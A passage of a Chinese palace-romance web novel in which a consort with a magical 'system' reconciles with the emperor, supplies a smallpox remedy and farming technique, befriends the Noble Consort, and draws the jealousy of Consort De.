《娘娘摆烂后,暴君日夜帮她宫斗》 第94章 对他 第九十四章 对他 皇后眼看大势要去,装着胆子道:“你不与臣妾促周公圆礼,天花药方难寻!” 季寰更看不起皇后了。 “朕这一生最恨受人掣肘,你最好想清楚再说话!” 说完,季寰亲自起身抽开了殿门门闩,离开背影如此决绝。 玉熙一直守在殿外,见皇上头也不回地离开,心中悲凉万分。 娘娘苦心孤诣筹谋了这么久,竟也不能成事。 皇帝离开后,玉熙赶紧进去安抚皇后的情绪。 殿内,皇后身子一软,竟直接从椅子上摔下来,跌坐在地上。 滴滴眼泪如断了线的珍珠,从未停止过。 玉熙哀叹一声,用手帕轻柔地为她擦拭掉眼泪。 下一秒,脸颊却又被濡`湿。 “皇后娘娘,您这是何苦呢?” 如果皇后娘娘不这么逼迫,没准儿此时情势能有所转圜。 娘娘这样一说,皇上怎能不拔腿就走。 可如今的皇后已然没有了最基本的谋算。 她肚子里憋着一口气儿,就是不肯散出去。 她死死地抓着玉熙的衣角,咬着牙道:“玉熙,你瞧见了吗,他宁可让一个庶妃有有孕可能,都不愿意与本宫……” 随后,便是皇后故意放大的笑声。 凄惨、悲凉。 玉熙听了,心如刀绞。 她搂着皇后娘娘:“娘娘,您别难过,兴许皇上过段日子便能想通了。” 想通? 不可能了。 季寰出了宫院后,脸色阴沉得较雷雨天没什么两样。 他冷冷地对着看守皇后宫中的侍卫说道:“派人看好坤宁宫,若是再有人到了御前胡搅蛮缠,朕向为首的要说法!” 侍卫跪下:“微臣明白!” 饭没吃好,反倒是惹了一身气性,季寰觉得自己当真是睡迷了,怎的会相信皇后的话。 走到坤宁宫门口时,外头路上有什么东西在光线照射下闪闪发亮。 炫目极了。 季寰走近,蹲下去将那支簪子捏在指尖。 他认得出这簪子。 宜妃不喜满头珠翠金银,他便叫内务府打造一支独特的。 这簪子镶嵌着粉色翡翠,加上混色金银,能衬得她更如一只熟透了的荔枝。 此刻,这支簪子怎么会在这里? 季寰左右瞧了瞧,没发现姜念秋的身影。 他心头一动,起身问:“李德全,宜妃方才来过?” 李德全也是才听得外头人来报,当时他心思都在皇上和皇后身上,确实没注意到外头的动静。 现在想想真是后悔。 “回皇上的话,奴才方才听闻宜妃娘娘在这儿站了些时候,玉熙出来请走的……” 说到后来,李德全连头都不敢抬了。 她自个儿在这儿站了些时候? 还是玉熙请走了她? 季寰握住簪子,气性一时间没压住:“玉熙不尊宫嫔,罚俸三个月以儆效尤!” 李德全话都不敢说,只给身后的小太监个眼神,着他去办。 “摆驾兰台宫,顺便将宜妃的菜肴带来。” 去到兰台宫时,姜念秋院子里一点儿声音也没有。 只有小翠在院子里收拾着土里的土豆。 见皇上来了,小翠心提起来一瞬,赶紧行礼问安:“皇上万安!” 季寰压低声音,往里头望去:“宜妃可用了午膳?” 小翠摇摇头,眼神中略显担忧:“回皇上,主子说胃口不好,不愿用,回来后更是没出来过。” 小翠和秋雁连着劝了好几句,最后直接被姜念秋赶出了殿内。 此时,只剩下她一个人在书房里生闷气呢。 季寰叹口气:“你去御膳房,跟总管说朕要他们送个新鲜的洋玩意儿来。” 皇上的意思是……要跟主子待一会儿?! 小翠脸上重新浮现出喜色来:“是。” 只是,房里的姜念秋忙着生气,根本没有注意到院子里多了人也少了人。 她一下一下地揉着手绢,在心里骂道:【臭鸡蛋、大坏蛋!】 系统任由她骂,气总得出去了才不会气坏身子。 来了这时候的姜念秋攻击力直线下降,那些问候祖宗的话怎么也说不出来。 骂了季寰七八个跟鸡蛋有关的词语后,系统终于出言阻止了:【这也不能全怪他,毕竟皇后拿捏了他的要紧处。】 姜念秋气得跺了两脚:【那就把我一个人扔下呀?他知不知道我……】 没说的出后面的话,她哽住了。 系统隐隐约约觉得后面这句话有些奇怪。 它大致猜测了下,贼兮兮地问她:【你……是否对皇上……】 【别瞎说,我才没有呢!他对我这么坏,我干什么对他动心?!】 这话一出,简直就是此地无银三百两了。 在门外的季寰停住了脚步。 哪怕是被骂了好几个臭鸡蛋,他的脸色反倒是比在皇后宫中好看一些。 随后系统更是指出了重中之重:【我可没有说你对他动心了呀!】 【你闭嘴!】 【你这么在乎,刚才怎么不提前拦下他?】 若是在那时说清楚,还至于让皇后能够横插一脚? 此刻躺在宽阔怀中陪着季寰午休的就是她了。 姜念秋又是跺了两脚,跟个孩子似的撒气:【我拦得住吗?!我拦哪门子呀!】 她的语气像极了同长辈怄气的孩子。 明明很是丢了皇家面子的行为举止,可却让季寰不由得笑了出来。 那笑声实在低沉,可由于姜念秋听了许多次,自然知道是谁的。 她脑子嗡的一声,直接从椅子上弹跳起来。 他、他真的没在皇后宫中呆着? 像是迫不及待地求证什么,姜念秋几乎是冲过去开门的。 直到看见门外站着的季寰,姜念秋的脑子才彻底停止了转动。 身体先于脑子做出反应。 先是行礼,然后是嘴巴:“皇上金安!外头的小丫头们好不懂事,皇上来了也不通传一声!” 她说话语速过快,险些咬了她自己的舌头。 可这一切落在季寰眼中都是那般可怜、可爱。 他上前,宽大的手将人拉起来,低低问:“生朕的气了?” 热气喷薄到她脸上。 皇帝身上独有的龙涎香包裹着她整个人。 可姜念秋仍旧沉浸在季寰抛下自己的愤怒之中,阴阳怪气别开头道:“没有,臣妾哪儿敢生您的气呢?” 第95章 药方已经转交 第九十五章 药方已经转交 在季寰身边,甚少有人敢这样子和他说话,看着眼前人这般胡闹,他不怒反笑。 从前不喜后宫众人吃醋,此时她这稍稍带着些醋意的说法,倒是显出俏皮来。 他故意凑近姜念秋,说话时甚至贴着她的耳朵,磁性的声音原原本本地进了耳中:“是么,那朕怎么感觉你在心里骂朕?” 姜念秋心咯噔一下。 他是怎么知道的? 都说皇帝多疑,这就厉害到这种程度? 镇定、镇定! 季寰肯定是诈唬她的,可千万不能露怯,万一这家伙突然变脸,谩骂皇帝罪名可不小呢! 姜念秋连连摇头,逼迫自己笑了笑:“我……臣妾没有,臣妾真的没有!” 看着好像是挺正常的,实际上只有当事人知道,她的小腿在裙子里打颤呢! 季寰原是想着看她个笑话的。 可当察觉到姜念秋是真的害怕后,他脸上玩味的表情收了起来。 只有他们两个人的时候,许多的面具跟着便能放下来。 他轻叹一声,上前轻轻地搂住了她纤细的腰身。 这么一抱,令姜念秋的脑子失去了思考的能力。 眼前形势是怎么回事? 随后,季寰的声音闷闷地传到她心底最柔`软的地方:“好了,是朕不好,朕同你道不是,不过是一时糊涂,你心里别怪怨,如何?” 她不会是气得产生了幻觉吧? 发生了这件事情,居然是季寰先来和她道歉? 像是为了验证并不是身处幻境之中,姜念秋还狠狠地暗地里掐了一把大腿。 疼得她龇牙咧嘴,“嘶”了一声。 好家伙,不是做梦? 二人挨得很近,季寰当然听见了她的声音,不由得扯扯嘴角。 他从怀里掏出那支被遗弃在坤宁宫外的簪子,低着头问她:“气归气,怎么能连簪子也不要了?” 那簪子是季寰亲自画的图,然后叫内务府去打造的。 算是他一番心意,这般扔掉心意,当真是伤他的心。 姜念秋眼神闪躲。 当时不是气劲儿上头了嘛,就没想那么多。 谁知道他压根儿没在皇后那儿呆着,还真见到了。 现在惨了,无声的控诉反倒成了被拿捏的“证据”。 姜念秋低着头,说话的声音虽然小,但还是透露着些许的不服气:“臣妾可没气,我的心眼儿哪里有那么小,是它自个儿掉下来的。” 漂亮的眸子低垂着,叫季寰居高临下看起来只有绵软和委屈。 那簪子好端端地插在发间,哪里是那么容易就掉落下来的? 在来兰台宫的路上,季寰脑子里想过许多次姜念秋失落至极,将簪子掉落在地的场景。 都叫人心像被从中间撕碎了。 明黄色龙纹轻轻擦过姜念秋的脸颊,是他在柔柔蹭她。 随后,簪子再一次插在她的发间。 “既然心胸宽广,那就别扣着自个儿的手了,不疼么?” 季寰的嗓音之中裹着七八分的怜惜,已经是他能够展现出来情绪的最高`峰了。 他的拇指贴着她揉动的手中,阻止了她继续无意识摩挲导致带来红斑。 低着眼睛,姜念秋只能看见他腰间挂着的雕龙玉佩,那些憋闷的劲儿散了个精光。 罢了、罢了! 算是她误会了季寰。 皇帝都给了这么大一个台阶,她干嘛还拽着不放呢? 突然间,姜念秋想起一件很重要的事儿。 她伸手攥住季寰的衣袖,问道:“皇上,天花的事儿,解决了吗?” 皇后当时说有方子,可季寰没在皇后处呆多久就出来了。 那……皇后会这么容易就把方子给他? 不用脑子想估计也是有条件的。 甚至条件一定很难叫人答允,不然季寰怎会眉目之间仍旧存留着些许愁绪呢? 果不其然,季寰眉梢跳动,似是回忆起了什么,感慨道:“皇后疯迷,要挟朕,朕没准。” “皇后娘娘要挟您什么了?” 姜念秋气性没了,八卦之心熊熊燃烧着。 “嫡子。”季寰直视着姜念秋。 该怎么说呢?其实皇后身为后宫之主,这个要求并不算太过分。 只是季寰应该还在记恨皇后之前做的糟心事儿,所以才会不许的吧。 这下好了,本来给他准备好的惊喜全然没了。 那也得跟季寰交个底,不然属实对不住他刚才的“低三下四”。 姜念秋沉吟片刻道:“其实……臣妾庶母经历过类似病症,得一个神医治疗,全然好了,还留下了药房,刚才这方子已被臣妾交给了贵妃娘娘,或许能够奏效。” “方才在侧殿,你是想说此事?” “是。” 原来,彼时姜念秋看着他要走,脸上存留的欲言又止不是他的错觉。 “方子当真有效?” “一定会有的,皇上尽可放心。” 系统给的,能出什么错? 季寰听得她十分肯定的语气,心里便明白了大半。 估摸着这方子一定是姜念秋做了什么,触发了系统的奖励吧。 连日以来愁困在心中的大事就被眼前人轻而易举地解决掉了。 那种一切风平浪静和信任的感觉,叫季寰心中涌动起一阵阵暖意。 他没忍住,再一次将人儿搂进怀里。 这回,他手上的力气大了许多。 仿佛要将人狠狠地揉进怀里一般。 姜念秋不是很能适应,身子在悄悄地推他,企图脱离桎梏。 “别动,安静些!”季寰虽是在说喝止的话,但大掌却扣紧了她的腰段。 靠近的每一刻均是上天恩赐!?? 外头,小翠及时出现,叫姜念秋不至于被季寰搂得出一身汗。 “皇上,御膳房的人已经在外候着了。” 闻言,季寰立刻松开了怀里的人,拉着她往用膳的偏殿走去:“来,有个新鲜玩意儿给你看看。” 偏殿之中不光摆着冒着热气的姜念秋亲手做的菜肴,还摆着一个精致的珐琅雕花盒子。 “打开看看。”季寰下巴朝着那个盒子点了点。 盖子打开,姜念秋傻眼了。 里面竟然是一块儿烤到表皮棕黄,带着些焦脆感的蛋糕! 她眼睛瞪得圆圆的,话也说不利索:“皇上,这是……” 这个时候怎么会有烤蛋糕? 求了系统那么久,系统也没给的配方,季寰怎么会有呢?! 姜念秋心跳得特别快,确实惊喜。 第96章 惊喜 第九十六章 惊喜 “前些日子西洋来朝,使臣献上了一个方子,说是西方的茶点,朕叫他把方子留下了。” 姜念秋这才想起来,这个时候蛋糕已经在西方有了。 只是,就这么巧吗? 季寰是怎么知道她想吃小蛋糕了的! 季寰的话语及时打消了她的好奇:“朕特意让御膳房照着方子做的,你尝尝?” 银勺在蛋糕一角划掉了一点点,不会影响整个蛋糕的造型。 久违的香甜在舌尖化开。 幸福感瞬间倍增。 “臣妾谢谢皇上!”终于吃到了蛋糕的姜念秋眉眼弯成月牙。 看见她如此高兴,也不枉季寰专程寻找所谓小蛋糕的做法。 是的,此时根本不是朝贺的时候,怎么会有人专门献上蛋糕方子呢? 不过是那一日看星星时,她与系统的谈话被听见了而已。 季寰伸出手指故意掐了下她那柔`软的脸颊,问道:“还骂不骂朕了?” 他长了这么大,还是头一次有人敢骂他臭鸡蛋这样子的话呢! 虽说更难听的骂名季寰也担着过,只是头一次听见“当面”的感觉,和听说自然不同。 姜念秋嘿嘿一笑,完全没意识到季寰说她骂了他是肯定的语气。 道行不高的“小狐狸”被轻而易举地套了话。 她摇着脑袋:“不骂了,皇上是最好的皇上!” 不过,眼前的这个蛋糕只是一个蛋糕胚而已。 差了最重要的东西! 估计这个时候西洋也不一定做出了打发奶油吧? “皇上稍后,臣妾给您露一手!” 幸亏前段日子姜念秋闲着没事儿,按照系统给的法子做了个手摇的打蛋器,这不就派上用场了? 【看见了吧,你不给我蛋糕胚的方子也没事儿,我也能吃上!】姜念秋一边做着奶油,一边在心里跟系统炫耀着。 系统很是无奈:【若不是季寰帮你,哪里有那么容易?】 其实系统很清楚,季寰已经在潜移默化间喜欢上了姜念秋,就连她也在不知不觉间接受了季寰。 照这样下去,二人的发展进度应该能加快。 不用多久,简易版的奶油便打了出来。 虽说没有做蛋糕的经验,但好歹是有吃过不少的经验,蛋糕的抹面工作被她完成得还不赖。 起码是装饰得比光秃秃的蛋糕胚好看多了。 姜念秋捧着盘子到季寰跟前:“皇上,臣妾请您试一试!” 蛋糕上面装饰着些瓜果,正好中和掉奶油的细腻,带来清甜的感觉。 季寰本就对除了桂花糕之外的甜食不怎么感兴趣,可看着姜念秋亮晶晶的眼,他还是接过银勺,在蛋糕上小小地舀了一块儿。 瓜果的清甜是中和掉了些甜,可对喜爱极淡口味的季寰来讲,还是有些甜。 “如何?”姜念秋紧紧地盯着季寰,好似很盼望他说一句好吃。 甚甜。 这句话在季寰心里说了一次。 但没有在现实中说出口。 他看着姜念秋那希冀的眼神,不想破坏此刻的氛围。 于是,季寰微微颔首,评价道:“尚可。” 其实不用季寰编造谎言骗她。 姜念秋能从他的一点点表现中感受到不对劲。 他吃完后,立刻端起了茶杯将茶喝光了。 就算是吃到她做得桂花糕都没这样过。 无所谓,反正季寰没驳她的面子,而且本来男人也没几个喜欢吃甜品的。 可以理解。 “臣妾觉得刚刚好!”姜念秋笑容比蛋糕还甜,自顾自地放下蛋糕,连饭菜都不吃了。 季寰见她一个人吃掉了大半个,有些无奈地笑笑。 这女子吃得比陪他用膳的嫔妃都要多,偏偏老天爷十分眷顾,丝毫没有影响那张脸。 依旧美得给人舒适的感觉。 治疗天花的方子给了贵妃之后,季寰稍显松宽,能多往兰台宫跑跑了。 不过短短七八日后,某天下午,姜念秋被宣入御书房陪伴圣驾。 就在季寰想起姜念秋那一手乱七八糟上不得台面的字,勒令她呆在一旁练字的时候,李德全上前通报道:“皇上,贵妃娘娘在外求见。” 贵妃娘娘啊,那些肥皂真不白给你! 算是救了我一命! 姜念秋感觉看见了救星。 天知道她握笔握得手腕都要抽筋了。 早知道一来会被摁着练字,她一定会找个别的理由不来。 这下可好,她赶紧扔了毛笔,看向季寰:“那臣妾先行退下?” 兴许人家贵妃有贴心话要跟季寰说,她呆在这里着实不方便。 这个离开的理由简直不能太好。 没曾想季寰早就看透了这丫头的小心思。 他竟然径直走向姜念秋,看完草纸上的字迹,眼神微微用力警告姜念秋道:“不必,贵妃不是小肚鸡肠的人,你接着练。” “写了那么久,字还是一丁点儿钢骨都没有……” 难不成真是在这事儿上朽木不可雕? 姜念秋瘪着嘴巴,浑身的劲儿都被卸干净了。 从小用圆珠笔写字的人,写出来的字要什么钢骨啊! 应试写的快才是王道好嘛? 只可惜,季寰不会懂这些。 贵妃穿了一身练武的窄袖服便进来了,见姜念秋站起身冲着她行礼,贵妃眼角眉梢一齐动了动,但里头只有笑意,没有别的情绪。 她故意打趣道:“呀,宜妃妹妹也在,是臣妾来的不巧了?” 姜念秋觉得林妹妹的词儿放在一身武服的贵妃身上,怎么听怎么觉得别扭。 季寰笑着点点她:“宜妃脸皮薄,你就别打趣她了。” 贵妃笑了,走到姜念秋身边,看看她手背上沾染着的墨迹,又看看草纸之上写得歪歪扭扭的字迹。 “妹妹这是?” 姜念秋向贵妃投射过去一个求救的眼神。 拜托了,救救她吧! 练字不是一天两天的事儿,已经是朽木就别雕琢了。 季寰幽幽地盯着姜念秋,轻轻咳嗽一声,见她又挺直腰背认真写起来,这才道:“写了一手好字,正磨练着呢。” 原来是这样。 贵妃心性单纯,知道原因后扑哧一声笑了出来。 要说这后宫之中,因为字儿写得不好被摁在御书房里练习的,姜念秋应该是头一个了。 “妹妹宅心仁厚即可,那些字儿依臣妾说倒是不那么重要。” 贵妃这句话瞬间点亮了姜念秋的眼眸。 第97章 结交贵妃 第九十七章 结交贵妃 欸? 贵妃这么说,难不成,那方子是有戏了? 随后,只见贵妃单膝跪下向季寰行礼:“臣妾这次来可是专程替天下臣民感激皇上和宜妃的。” 这个礼季寰受得起,姜念秋可受不起。 她比姜念秋的品级高了不少呢,不过去搀扶就是大不敬。 脑子里小聪明一耍,毛笔赶紧放下,小碎步走到贵妃身边。 “姐姐这是折煞我了。”姜念秋只能陪着贵妃跪下,还得落后半个身位。 做得根本没有一点儿不自然的地方。 但季寰就是知道,这丫头分明是借着贵妃的名义,然后逃脱练字罢了。 看透了一切的季寰瞪了下姜念秋。 只是眼前最重要的在于贵妃所说上,便放过了她。 “可是治疗天花的方子有效力?”季寰虽有些把握,但真真切切要听得消息时,仍旧是有些目光灼灼。 只要治疗天花的方子有效,军中日后便能少一重威胁。 “是!”贵妃从袖中取出一封家书,“臣妾父兄写了家书,说现下军中士兵已经痊愈了,上下全都赞誉您施恩好德!过几日情况稳定了便上奏!” 眼下情况还没完全定下来,贸然上报皇上,只恐情况有变。 不如先让贵妃给季寰吃个定心丸。 季寰将家书快速看完,朗声笑道:“好,好啊!甚好!你父兄辛苦了。” 经历此事,心中最为担忧的莫过于贵妃。 别人多多少少会有利益权衡,只有她,涉身危难的可是她的亲父兄。 “是皇上让宜妃妹妹给的方子好,臣妾为天下人代谢皇上和妹妹!” 季寰看向姜念秋,眼神无比柔和:“宜妃有心。” 哪怕是那天明明心里不痛快,她依旧没在贵妃那儿讨好,而是借了季寰的名。 试问有几个人能做到她这地步? 姜念秋俯身:“臣妾不敢居功,是贵妃娘娘心怀天下,为臣妾做了表率。” 上次贵妃帮忙的事儿姜念秋还惦念着,这回算是略略报答恩情。 “皇上,您听听,宜妃妹妹这张嘴啊,臣妾是这辈子都赶不上咯!” 怪不得季寰喜欢和她说话。 不抢功、还会做事儿,贵妃也喜欢得紧。 三人之间关系很是复杂,却极其和谐。 还好,第二日季寰念在姜念秋的药方有用,便没继续折磨她。 姜念秋也有了机会来尝试一下系统之前给的高产种植技术。 正好赶在入冬前能试试看。没想到在盆儿里也能将产量提高。 她望着郁郁葱葱的菜苗,说不出的高兴。 【想不到我种地也能出这么多产量!】 种地也能有这么大的天赋,她真厉害。 系统跑出来调侃她道:??【所以我说人还是得逼一把才知道上限在哪里。】 姜念秋默默地翻了个白眼。 如果可以的话,她还是希望不要逼迫她比较好。 毕竟这个世界上没有什么比摆烂更舒服了。 姜念秋盯着花盆儿里的苗,若有所思:【你说老百姓要是有这技术,是不是就不用为吃的担心了?】?? 【愿不愿意献上去,只看你的意思,】系统补充了一个提示,【这或许能帮你在后宫站稳脚跟。】?? 横竖奖励是姜念秋激活的,就算她打算昧下,那也是她的自由。 只是……系统希望她能再往前走一步。 【我当然愿意!】 【若能让百姓吃饱,就算被人说成爱出风头又如何?】?? 姜念秋倒不在意能不能在后宫立稳脚跟,她只是觉得农民已经很苦了。 若是能给些更好的技术,他们的日子也能过得好一点儿。 【好,倘若你的德行积累到一定程度,我会随机掉落一个人情奖励。】 什么人情奖励的,姜念秋没听懂,她只是默默地伏在案边,用歪七扭八的字写完了高产种植秘诀。 然后,将这方子拜托秋雁送到了皇帝处。 过了几日,贵妃收到父兄军中得了宫中宜妃的粮草种植方法,心中对姜念秋更是彻底刮目相看。 她甚至带着些糕点亲自去兰台宫拜访。 “臣妾参见贵妃娘娘。”姜念秋赶紧停下手里的活儿去迎接。 贵妃一把将人拽起来:“咱俩之间就不必这般了,说起来我还得谢谢你呢!” “谢我?” “是啊,”贵妃亲昵地拉着她坐下,“你给皇上的技术让本宫父兄在外征战不缺米粮,岂不是得谢谢你?” 原来季寰也将秘方递到了边疆啊。 那些大臣们说季寰的话,其实都不算真的。 他前期会那样子暴戾,不过是保护自己的一身刺罢了。 仔细想想,天下发生事情后,他哪一次没有着急上火? 想想姜念秋便觉得自己做得并不算什么。 她摆摆手道:“和贵妃娘娘父兄辛苦相比,臣妾这算不得什么。” 在外征战的人,能吃饱穿暖,那是最基本的保证了。 可就是这最基本的保证,有时也是个贪念。 所以贵妃才会如此感动。 她招招手,玉音走上前来,递过来一个精致的红木盒。 盒子打开后,是一支雕刻工艺巧夺天工的翡翠簪子,居然还是辣阳绿的。 贵妃将盒子郑重其事地交给了姜念秋:“这个给你,是我未曾进宫时最喜爱的簪子,一次都舍不得戴呢!” “贵妃娘娘这太贵重了,臣妾不能要……” 辣阳绿的一个蛋面都能卖上天价,更别说是通体圆滑,达到冰种级别的翡翠了。 可贵妃很是坚持:“收下吧,也当是本宫父兄的一番心意,你要是不收下,可就是瞧不起我了。” 宫中除了皇后,谁人的母家能比得上贵妃尊贵。 敢瞧不起她? 活腻歪了吧。 正当姜念秋踌躇着的时候,系统弹出来:【听她的收下,我已将一条赤红鞭子放至你的箱底,你去取来送给她。】 这不是正好么! 【多谢了!】 “好吧,臣妾谢过娘娘恩赏,娘娘稍候,臣妾有礼物要献给娘娘。” 说完,姜念秋赶紧回去翻看箱子找它说的那条赤红鞭子。 果然有那么一条品相极好的鞭子藏在箱子底。 她马不停蹄地拿了,小跑出去笑着递给贵妃:“臣妾听说娘娘喜欢习武,这东西应该用得上。” 第98章 学 第九十八章 学 鞭子递到贵妃手边,贵妃只需要一眼,便能判断出来究竟东西是好是坏。 她用指尖简单拨弄了下鞭子的柔韧度,眼神之中透露出对鞭子的欣赏。 “这可是上好的水牛鞭,你舍得?” 这鞭子就连在边疆经常打仗的父兄,都很难给她找到这种品相的鞭子。 果然啊,好东西还是在皇上这里。 也是奇怪,姜念秋并不对武有兴趣,皇上怎么会赏她鞭子? 姜念秋从贵妃的眼中看到了些鞭子由来的好奇,她勾了勾唇解释道:“臣妾母亲家里原是务农,做这些个粗糙之物不是难事,且这鞭子本就是给娘娘备下的,怎么有舍不得的说法?” 本来就是系统给的东西,送给贵妃做人情是顺水推舟的事儿。 贵妃也不可能真去调查她母亲家里是不是有这么一回事儿的。 贵妃性子单纯,自然会相信姜念秋所说。 她伸手抻了抻鞭子,有清脆而带着韧劲的声音发出。 嗯,的的确确是好东西! “好!”贵妃举起手,示意姜念秋同样拿起手来,两掌碰在一处,跟结拜姐妹似的,“你这个朋友本宫交定了!多谢你的厚礼!” 从那一日起,贵妃经常让玉音给她送些好吃的。 贵妃宫中同兰台宫可不是一个级别,她宫中有自己的小厨房,能做她自己喜欢的吃食,不必看御膳房的脸色。 导致许多风味儿吃食比御膳房做得还有趣儿,也正好是满足了姜念秋的味蕾。 吃着贵妃宫中送来的蝴蝶酥,她才反应过来。 原来系统所说的“人情世故”是这么一回事儿。 几块肥皂、种植技术还让她交到了如此铁的姐妹儿,值得! 后来,季寰从密卫处听闻了此事,趁机找来她练字的时候不经意提起。 “朕听说,你和贵妃近来走得很近?” 姜念秋的手腕一歪,毛笔在草纸上狠狠一顿,留下了一道难看的印迹。 她的脑子快速转动着。 皇帝应该很不喜欢后宫嫔妃和前朝结成一党,他这句话是不是在试探呢? 姜念秋偷偷去看季寰的侧脸,发现他仍在翻阅着书籍,没看她。 从神情上判断是没机会了。 那就随便猜一句保守的话搪塞他算了。 “皇上,臣妾只是和贵妃娘娘说笑,并没干别的。”说完,姜念秋怯怯地盯着季寰看,手揉着手帕,把手帕揉出了一道道细纹来。 察觉到姜念秋说话的语气貌似有些紧张,季寰放下书抬头看她。 二人视线在空中交汇。 一个略带机警,另一个倒是很轻松。 看来,她是想歪了些什么。 季寰唇边挑了挑,弧度很轻,但意味明朗——他并未怀疑她与贵妃走的近,是在结成一党:“朕知道。” 按照姜念秋和贵妃两个人的脑子,就算是结成一党又如何? 最多就是折腾折腾御膳房今儿个吃什么好的罢了。 她们俩能闹腾起什么风浪? 姜念秋一脸茫然。 啊? 那他突然这么问,是为什么啊? 季寰看着她懵懵的样子,不由得笑得越发明显。 当真是傻得可爱。 他起身,走到姜念秋跟前,手指绕了下步摇下的珍珠流苏,缓缓道:“朕是为你高兴。” 后宫之中拨云诡谲,没有朋友知己过得如斯孤单,在漫漫日子中有个能说说话的人,挺好。 姜念秋琢磨了下季寰的话。 原来,他是担忧自己没有朋友啊? 这纯粹是他想多了。 也不看看她是从什么地方来的。 在姜念秋眼里,小翠和秋雁就是她最好的伙伴,平时没事儿聊个八卦还能搭把手,从来不跟她犟嘴,简直天选闺蜜好嘛? 这次多了一个贵妃,倒是多了一条路,也不赖。 姜念秋想到什么,她故意站起身来,和季寰贴得特别近,用只有他们两个人能听见的声音说道:“那还得请皇上左右平衡好才是,不然贵妃娘娘会吃醋的。” 季寰挑眉,伸出手抓在她薄薄的腰际,嘴上说的话是故意气她的:“是么,贵妃既然会吃醋,那也是怪怨你。” 哇!怪不得都说帝王擅攻于人心。 他这句话可真是够带劲的,直接把姜念秋之前被针对的缘由点名了。 姜念秋正想着怎么再气气他扳回这一局,季寰手上一使力,挠到了她的痒痒肉。 一声宛如银铃般的笑声没憋住,打破了御书房的宁静致远。 外头好像有谈话的声音,她便赶紧捂住嘴,央告季寰松开手。 御书房外,是德妃来了。 她让李德全进去通报季寰,想见见他。 人还亲自端着一个锦盒站在大太阳下,不知为何就是不愿躲在廊下等候,非要受着那烈日炙烤。 李德全自然看出其中猫腻,但也是谨慎地陪着她,弓着腰道:“德妃娘娘,皇上正忙着,吩咐了奴才不让进去,奴才也是为难,要不……东西奴才帮您递进去,您看如何?” 刚才那一声笑传到了外头,德妃当然听得出里头是谁。 皇上说不让任何人打扰,竟然就是和那个女子打情骂俏? 德妃托着锦盒的手指尖有一瞬间的泛白,是她用力抠住锦盒所导致的。 可她还是在李德全面前克制住了那股子怒火,面上微笑:“这里头是皇上爱吃的桂花糕,劳烦公公转交皇上。” “奴才该做的,娘娘客气。” 随后,李德全接过锦盒。 德妃转身离去时,微笑的弧度彻底消失。 踩在青砖之上的每一步,都像是附和着她心碎的声音。 身旁的宫女一直低着头,生怕德妃心中不快拿她撒气。 德妃眼底黯淡,着实是被伤到了。 直到离开了正清宫很远的地方,宫女见没什么人了,这才安慰道:“娘娘,您不必往心里去,宜妃她那是使了狐媚子才能得宠,您干嘛跟她一般见识。” 前几个月,德妃身子骨不好,关于这位宜妃的事儿还是别人说起的。 此时,事儿真的落到了自己头上,德妃才领略到了她的厉害。 德妃突然间停住了脚步,眼神之中带着明显的不忿:“她能使狐媚子,本宫也能……” 为了皇上的恩宠,她什么都能学。 狐媚子又算得个什么? 第99章 戳穿 第九十九章 戳穿 听说宜妃懂得些务农的事儿,既如此,德妃也决定学学看。 反正她也是喜欢花花草草的,务农应当也一样。 正好再学学季寰喜爱的牡丹花如何种植护理,也算是投其所好。 有了这个想法,德妃立刻转过头对着侍女说道:“去给本宫到庄子上找个精通田务的来,另外速速联系本宫的父亲!” 宫女愣了下。 娘娘这么做,会不会有些剑走偏锋了? 可德妃根本不给宫女劝说的机会,她瞪着宫女:“快去呀,还愣着干嘛?” “……是,奴婢这就去。” 德妃冷哼一声,她就不相信了,一个小官宦家出来的庶女,能有她家里擅长田务的人更懂! 德妃家里效率亦很高,第二日便给她送来了一位老妪来教她。 一连学了三四日,德妃便觉得学的差不多了,将老妪赶了回去。 她叫宫女打听了一番,知道皇上总是会在每月初一这天天不亮就去御花园看姜念秋养的鸡。 也是时机正好,没过几天便是初一。 于是,德妃便赶在那日清晨,在去鸡舍的必经之路上堵着皇帝了。 她专门在那儿放好了提前准备的牡丹,以便吸引季寰的注意力。 清晨,御花园之中带着薄薄的一层水雾,湿`润却对德妃来说稍显潮湿很是不舒服。 宫女老远就发觉一道明黄颜色一闪而过,赶紧过来提醒德妃。 德妃立刻蹲下,就连自己最爱的浅紫色罗裙沾染了水气也无所谓。 季寰自然注意到了躲在暗处的小宫女。 同样,也看见了突然弯腰开始浇花的德妃。 他走近,说出了德妃想听的话:“德妃怎得起这么早?” 说着,他的视线落在了德妃浇水的那盆花朵之上。 牡丹开得正艳,且土壤看着就很湿`润,根本不需浇水。 她那个浇水的量,只怕会将花儿沤死。 德妃蓦然听见身后传来的声音,“惊得”险些打翻手中的水瓢。 定好神思,这才缓缓转身过去。 只见季寰正站在湘妃竹边,长身玉立,挟裹着江南水乡的俊美。 德妃的心头一动,娇羞地低下了头:“回皇上的话,臣妾新得了些种花儿的法子,想着能不能替皇上将这牡丹种得更好。” 她的发髻上带了四五支极其好看的步摇,在微微蹲下行礼的时候,步摇撞在一起,叮叮当当作响。 季寰目光挪动,注意到了她精致的妆容。 眼角处还贴着对花钿。 是很美,可不像是来浇花种花的。 有一段时间的沉默,德妃从余光之中悄悄瞥他,感觉季寰神色柔和,便觉得计划在正常开展。 季寰走上前去,指尖轻轻地拂过重瓣牡丹。 只可惜,因为贵妃刚才那一瓢水,这牡丹开不了多久,根`茎就要坏掉了。 “德妃有心,只是这花儿已经开得很好了。” 德妃心咚得跳重了一下。 皇上这是觉得德妃所做有些多余了。 德妃握着水瓢的手微微用力,唇边的笑容有些许的僵硬。 不过她没那么容易被打倒。 见季寰要走,德妃跟在他身边,整个过程做来十分自然,逼退了季寰要继续往前走的想法。 “哦,对了,皇上,臣妾也依着宜妃的法子种了些东西,皇上可要尝尝看味道如何?” 德妃侧头看着季寰的眼中有着期待。 由于身子原因,季寰已经许久不曾见过她了。 后宫不可一日无宠,德妃需要他的青睐。 只是……话虽如此,但那些东西根本不是她种出来的,而是直接从庄子里移植的。 现成的东西当然要比亲自动手要省事得多。 季寰眼底迅速闪过一抹暗色。 原来,德妃打得是这个主意。 她是在效仿姜念秋。 姜念秋做过的事儿,她要如法炮制一遍? 眼见季寰脸色一寸一寸阴沉下去,德妃心中暗叫不好。 可能是她有些操之过急了。 德妃语气瞬间放得更加柔了:“皇上,是臣妾做得不够好,惹您生气了吗?” 那声调带着些许颤音,真的像是受了多大的委屈一般。 季寰回过头来,突然记起之前皇后上报说德妃身子不适,要闭门休养一段日子的事儿。 